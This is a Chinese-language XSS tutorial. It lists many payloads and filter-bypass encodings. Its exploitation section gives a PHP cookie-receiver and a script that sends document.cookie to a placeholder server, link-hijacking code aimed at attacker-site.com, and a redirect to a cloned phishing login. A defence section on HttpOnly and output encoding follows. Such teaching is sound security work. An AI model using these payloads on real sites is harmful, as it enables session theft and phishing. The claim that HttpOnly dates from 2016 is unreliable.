Web安全基础篇——XSS跨站脚本攻击

XSS

​ 跨站脚本攻击(Cross Site Scripting), 为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

原理

  • 攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
  • 诱使受害者打开受到攻击的服务器URL。
  • 受害者在Web浏览器中打开URL,恶意脚本执行。

XSS的攻击方式

反射型XSS

​ 非持久化,攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理。

存储型XSS

​ 持久化,代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

DOM型XSS

​ 基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。

常见载荷

scirpt 标签

1
<script>alert("xss");</script>

img 标签

1
<img src=1 onerror=alert("xss");>

input 标签

1
2
<!--onfocus:事件在对象获得焦点时发生:-->
<input onfocus=alert(1);>

竞争焦点,从而触发onblur事件

1
<input onfocus="alert(1);" autofocus>

input 标签的 autofocus 属性规定当页面加载时,元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

1
2
<input onmouseover=alert(1)>  需要鼠标划过输入框
<input onclick=alert(1)> 这样需要点击一下输入框

details 标签

<details>标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭

元素时触发

1
<details ontoggle=alert(1);></details>

使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发。

1
<details open ontoggle=alert(1);>

svg 标签

<svg>标签用来在HTML页面中直接嵌入SVG 文件的代码。

1
<svg onload=alert(1);>

select 标签

select 标签用来创建下拉列表。

1
<select onfocus=alert(1)></select>

通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。

1
<select onfocus=alert(1) autofocus></select>

iframe 标签

iframe标签会创建包含另外一个文档的内联框架。

1
<iframe onload=alert(1);></iframe>

video 标签

video标签定义视频,比如电影片段或其他视频流。

1
<video src=x onerror=alert(1)>

audio 标签

audio标签定义声音,比如音乐或其他音频流。

1
<audio src=x onerror=alert(1);>

textarea 标签

textarea标签定义一个多行的文本输入控件。

1
<textarea onfocus=alert(1); autofocus>

keygen 标签

仅限火狐

1
<keygen autofocus onfocus=alert(1)>

常见绕过方法

空格绕过

当空格被过滤了时,我们可以用 / 来代替空格。

1
2
/**/注释符号绕过;/符号绕过;
<img/src="x"/onerror=alert(1);>

引号绕过

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

1
<img src=x onerror=alert(`xss`);>

括号绕过

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

1
2
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>

大小写绕过

1
2
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>

双写绕过

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过。

1
2
<scrscriptipt>alert(1);</scrscriptipt>
<imimgg srsrcc=x onerror=alert(1);>

字符串拼接绕过

利用eval()函数,与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。

1
2
3
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号

编码绕过

Unicode编码绕过

1
2
3
4
5
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">

javasc&#x72;&#x69;pt:alert(/xss/) (编码了r和i)

<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

Url编码绕过

1
2
3
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

Ascii编码绕过

1
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

Hex绕过

1
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

Base64编码绕过

1
2
3
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

url地址绕过

使用url编码

1
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

使用IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1.十进制IP
<img src="x" onerror=document.location=`http://213.070.64.33/`>

2.八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用\\
但是要注意在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议

6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

标签属性封闭

当我们输入的东西出现在标签中,如输入框内时,就会出现如下的代码状态。

1
<input name=keyword  value="<script>alert(1)</script>">

这时候我们可以将value值进行一个封闭,载荷如下:

1
2
3
4
5
6
7
8
9
<!--
载荷为"><script>alert(1)</script>
-->
<input name=keyword value=""><script>alert(1)</script>">

<!--
载荷为' onmouseover=alert('xss') bad='
-->
<input name=keyword value='' onmouseover=alert('xss') bad=''>

漏洞利用

盗取Cookie

同源策略:定义不同的域名,cookies不共享,也就是说百度和Google等不同的网站域名、不同浏览器的cookies不共享。

需要搭建一个公网服务器作为中间人用来接收Cookie。后台只要写一个简单的接收Cookie程序即可,如下PHP写的后端。文件名为GetCookie.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['cookie']))
{
$myfile = fopen("./cookie.txt", "a") or die("Unable to open file!"); //打开cookie.txt文件
$cookie = $_GET['cookie']."\n"; //接收从网站传过来的cookie值。
fwrite($myfile, $cookie); //将cookie值写入文件
fclose($myfile); //关闭文件
echo "success";
}
else
echo "fail";
?>

在公网服务器中构造javascript载荷文件hack.js

1
2
3
4
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://中间人网址/GetCookie.php?cookie='+encodeURIComponent(document.cookie);

创建一个长和宽均为0的图像,然后调用GetCookie.php,获取cookie。或者也可以直接构造载荷

1
<script>document.location = 'http://中间服务器地址/Getcookie.php?cookie='+document.cookie;</script>

如果是存储型漏洞,便插入恶意代码<script src='中间人网址/GetCookie.js'></script>,当普通用户访问页面时,便会调用hack.js,将cookie发送给攻击者。如果是反射型漏洞,则需要构造攻击链接发送给受害者。

encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。 该方法不会对 ASCII 字母和数字进行编码,也不会对- _ . ! ~ * ' ( )这些 ASCII 标点符号进行编码。其他字符(比如 ;/?:@&=+$,#这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。 如果不进行编码,则通过js的jQuery的post或者使用window.self.location传递数据到后台,都会造成+@$字符无法正常输出。

纂改网页链接

将网站内的所有a标签变成恶意链接或者其他一些链接。通常用在存储型漏洞中。

构造载荷:

1
2
3
4
5
6
7
8
<script>
window.onload = function(){ //window.onload:当窗口加载时,执行匿名函数。
var link=document.getElementsByTagName("a");
for(j= 0; j < link.length; j++){
link[j].href-="http://attacker-site.com/"; //需要纂改成链接
}
}
</script>

这样当普通用户访问该网站时,网站中的所有链接都会变成我们指定的链接。

盗取用户信息

在公网服务器利用setookit工具克隆要攻击的网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登陆页面,用户输入登陆账号和密码被存储。

载荷:

1
<script>window.location="http://克隆网站的网址/"</script>

防范

HttpOnly

​ HttpOnly是2016年微软为IE6而新增了这一属性,HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险。

​ 也就是说HttpOnly存在主要是为了防止用户通过前端js来盗用cookie而产生的风险,XSS攻击就是对cookie进行盗窃,使用这一属性就可以防止通过js脚本读取到cookie信息,预防XSS攻击,窃取cookie内容。在set-cookie设置httponly的情况下,通过document.cookie是不可以获取到cookie值的。

所有现代后端语言和环境都支持设置HttpOnly标志。这是一个使用setcookie函数在 PHP 中执行此操作的示例:

1
setcookie("sessionid", "QmFieWxvbiA1", ['httponly' => true]);

除了HttpOnly,还有其他cookie安全策略,区别如下:

  • http-only:只允许http或https请求读取cookie、JS代码是无法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
  • secure-only :只允许https请求读取,发送请求时自动发送cookie。
  • host-only:只允许主机域名与domain设置完成一致的网站才能访问该cookie。

X-XSS-Protection设置

目前该属性被所有的主流浏览器默认开启XSS保护。该参数是设置在响应头中目的是用来防范XSS攻击的。它有如下几种配置:

  • 0:禁用XSS保护。
  • 1:启用XSS保护。

默认值为1,1;mode=block;启用xss保护,并且在检查到XSS攻击是,停止渲染页面。

XSS防御HTML编码

为什么要防御HTML编码呢?比如如下html代码:<div>content</div>,在<div>标签中存在一个输出变量{content}。那么浏览器在解析的过程中,首先是html解析,当解析到div标签时,再解析content的内容,然后会将页面显示出来。那假如该{content} 的值是<script>alert('XSS攻击')</script>这样的呢?因此该script脚本就会解析并且执行了,从而达到XSS的攻击目标。因此我们需要将不可信数据放入到html标签内(比如div、span等)的时候需要进行html编码。

编码规则:将 & < > “ ‘ / 转义为实体字符。如下基本转义代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 使用正则表达式实现html编码
function htmlEncodeByRegExp(str) {
var s = '';
if (str.length === 0) {
return s;
}
return (s + str)
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/ /g, "&nbsp;")
.replace(/\'/g, "&#39")
.replace(/\"/g, "&quot;")
.replace(/\//g, '&#x2F;');
}
// 使用正则表达式实现html解码
function htmlDecodeByRegExp(str) {
var s = '';
if (str.length === 0) {
return s;
}
return (s + str)
.replace(/&amp;/g, "&")
.replace(/&lt;/g, "<")
.replace(/&gt;/g, ">")
.replace(/&nbsp;/g, " ")
.replace(/&#39/g, "\'")
.replace(/&quot;/g, "\"")
.replace(/&#x2F;/g, "\/");
}

// 测试代码:
var html = '<br>aaaaaa<p>xxxxxx</p>';
var encodeHtml = htmlEncodeByRegExp(html);
// 输出:使用正则表达式对html编码:&lt;br&gt;aaaaaa&lt;p&gt;xxxxxx&lt;&#x2F;p&gt;
console.log("使用正则表达式对html编码:" + encodeHtml);
var decodeHtml = htmlDecodeByRegExp(encodeHtml);

// 输出:使用正则表达式对html解码:<br>aaaaaa<p>xxxxxx</p>
console.log("使用正则表达式对html解码:" + decodeHtml);

XSS 防御HTML Attribute编码

​ 和HTML编码一样,html中的属性也要进行编码,比如 <input name="name"/>这样的,name是input的属性,因此在html解析时,会对name属性进行编码,因为假如{name} 的值为:" " onclick="alert('属性XSS')" bad=" " 这样的,也就是说input变成这样的了:<input name=" " onclick="alert('属性XSS')" bad=" "></input>,input属性name被插入onclick事件了,因此也需要针对这种常规的html属性,都需要对其进行HTML属性编码。

​ 因此我们需要将不可信数据放入html属性时(不含src、href、style 和 事件处理函数(onclick, onmouseover等))。需要进行HTML Attribute 编码。

编码规则:除了字母、数字、字符以外,使用 &#x;16进制格式来转义ASCII值小于256所有的字符。

1
2
3
4
5
6
7
8
9
10
11
function encodeForHTMLAttibute(str) {
let encoded = '';
for(let i = 0; i < str.length; i++) {
let ch = hex = str[i];
if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
}
encoded += hex;
}
return encoded;
};